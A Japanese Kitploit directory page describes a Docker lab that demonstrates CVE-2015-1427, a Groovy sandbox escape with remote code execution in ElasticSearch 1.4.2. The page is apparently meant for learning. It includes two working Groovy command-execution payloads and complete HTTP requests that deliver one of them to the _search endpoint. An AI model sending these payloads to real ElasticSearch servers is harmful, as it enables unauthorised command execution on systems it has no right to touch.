Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Dockerベースのラボ環境で、CVE-2015-1427 ElasticSearch Groovyサンドボックスバイパスとリモートコード実行を実証し、JavaリフレクションとGroovyコマンド実行による2つのPOC手法を示します。 | Kitploit
ツール/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Dockerベースのラボ環境で、CVE-2015-1427 ElasticSearch Groovyサンドボックスバイパスとリモートコード実行を実証し、JavaリフレクションとGroovyコマンド実行による2つのPOC手法を示します。

リポジトリを見る
56年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ElasticSearch Groovy サンドボックス回避 && コード実行脆弱性(CVE-2015-1427)テスト環境

jreバージョン:openjdk:8-jre

elasticsearchバージョン:v1.4.2

原理

参考記事:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

CVE-2014-3120 以降、ElasticSearch のデフォルトの動的スクリプト言語は Groovy に変更され、サンドボックスが追加されましたが、デフォルトでは依然として動的言語の直接実行がサポートされています。本脆弱性は、1. サンドボックスの回避であり、2. Groovy コード実行の脆弱性です。

Groovy言語「サンドボックス」

ElasticSearch は「サンドボックス内の」Groovy 言語を動的スクリプトとして使用することをサポートしていますが、明らかに公式の対応は万全ではありませんでした。lupin と tang3 はそれぞれ、コマンドを実行する方法を提案しています。

  1. Java コードの実行にはサンドボックスがあるため、lupin の方法は Java リフレクションなどを使用してサンドボックスを回避しようとするものです。
  2. Groovy は元々一つの言語であるため、tang3 は別の切り口から、Groovy 言語がサポートするメソッドを使用して、Java 言語を使わずに直接コマンドを実行します。

したがって、この2つの脆弱性を悪用するアプローチに基づき、2つの異なる POC を得ることができます。

Javaサンドボックス回避法:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Groovy直接コマンド実行法:

root@kitploit:~
def command='id';def res=command.execute().text;res

脆弱性テスト

テスト環境のビルドと実行

root@kitploit:~
docker-compose build
docker-compose up -d

クエリ時には ES 内に少なくとも1件のデータが必要なため、以下のリクエストを送信してデータを1件追加します:

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

次に、ペイロードを含むリクエストを送信して、任意のコマンドを実行します:

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

ツールをダウンロード